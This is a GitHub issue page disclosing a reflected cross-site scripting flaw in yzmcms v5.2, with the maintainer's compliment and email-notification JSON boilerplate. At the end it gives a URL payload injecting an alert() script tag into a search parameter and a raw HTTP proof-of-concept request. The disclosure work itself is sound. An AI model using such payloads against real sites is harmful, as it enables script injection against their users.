New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
yzmcms v5.2 XSS #7
Comments
|
小兄弟,你好厉害 |
|
哪里,大哥过奖,------------------ Original ------------------From: 袁志蒙 <notifications@github.com>Date: Wed,Nov 7,2018 11:13 PMTo: yzmcms/yzmcms <yzmcms@noreply.github.com>Cc: r0code <creackme@gmail.com>, Author <author@noreply.github.com>Subject: Re: [yzmcms/yzmcms] yzmcms v5.2 XSS (#7)小兄弟,你好厉害
—You are receiving this because you authored the thread.Reply to this email directly, view it on GitHub, or mute the thread.
{"api_version":"1.0","publisher":{"api_key":"05dde50f1d1a384dd78767c55493e4bb","name":"GitHub"},"entity":{"external_key":"github/yzmcms/yzmcms","title":"yzmcms/yzmcms","subtitle":"GitHub repository","main_image_url":"https://assets-cdn.github.com/images/email/message_cards/header.png","avatar_image_url":"https://assets-cdn.github.com/images/email/message_cards/avatar.png","action":{"name":"Open in GitHub","url":"https://github.com/yzmcms/yzmcms"}},"updates":{"snippets":[{"icon":"PERSON","message":"@yzmcms in #7: 小兄弟,你好厉害"}],"action":{"name":"View Issue","url":"#7 (comment)"}}}
[
{
"@context": "http://schema.org",
"@type": "EmailMessage",
"potentialAction": {
"@type": "ViewAction",
"target": "#7 (comment)",
"url": "#7 (comment)",
"name": "View Issue"
},
"description": "View this Issue on GitHub",
"publisher": {
"@type": "Organization",
"name": "GitHub",
"url": "https://github.com"
}
},
{
"@type": "MessageCard",
"@context": "http://schema.org/extensions",
"hideOriginalBody": "false",
"originator": "AF6C5A86-E920-430C-9C59-A73278B5EFEB",
"title": "Re: [yzmcms/yzmcms] yzmcms v5.2 XSS (#7)",
"sections": [
{
"text": "",
"activityTitle": "**袁志蒙**",
"activityImage": "https://assets-cdn.github.com/images/email/message_cards/avatar.png",
"activitySubtitle": "@yzmcms",
"facts": [
]
}
],
"potentialAction": [
{
"name": "Add a comment",
"@type": "ActionCard",
"inputs": [
{
"isMultiLine": true,
"@type": "TextInput",
"id": "IssueComment",
"isRequired": false
}
],
"actions": [
{
"name": "Comment",
"@type": "HttpPOST",
"target": "https://api.github.com",
"body": "{\n\"commandName\": \"IssueComment\",\n\"repositoryFullName\": \"yzmcms/yzmcms\",\n\"issueId\": 7,\n\"IssueComment\": \"{{IssueComment.value}}\"\n}"
}
]
},
{
"name": "Close issue",
"@type": "HttpPOST",
"target": "https://api.github.com",
"body": "{\n\"commandName\": \"IssueClose\",\n\"repositoryFullName\": \"yzmcms/yzmcms\",\n\"issueId\": 7\n}"
},
{
"targets": [
{
"os": "default",
"uri": "#7 (comment)"
}
],
"@type": "OpenUri",
"name": "View on GitHub"
},
{
"name": "Unsubscribe",
"@type": "HttpPOST",
"target": "https://api.github.com",
"body": "{\n\"commandName\": \"MuteNotification\",\n\"threadId\": 407457022\n}"
}
],
"themeColor": "26292E"
}
]
|
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
http://192.168.1.40/search/index/archives/pubtime/1526387722/page/1.html
XSS payload: http://192.168.1.40/search/index/archives/pubtime/1526387722/page/1.html?tqh3l%22%3e%3cscript%3ealert(1)%3c%2fscript%3er6qt2=1
POC:
GET /search/index/archives/pubtime/1526387722/page/1.html?tqh3l%22%3e%3cscript%3ealert(1)%3c%2fscript%3er6qt2=1 HTTP/1.1
Host: 192.168.1.40
Accept-Encoding: gzip, deflate
Accept: /
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://192.168.1.40/search/index/archives/pubtime/1526387722.html
Cookie: PHPSESSID=u0bh5qnr84qsu9aa0oj8vpkuk2
The text was updated successfully, but these errors were encountered: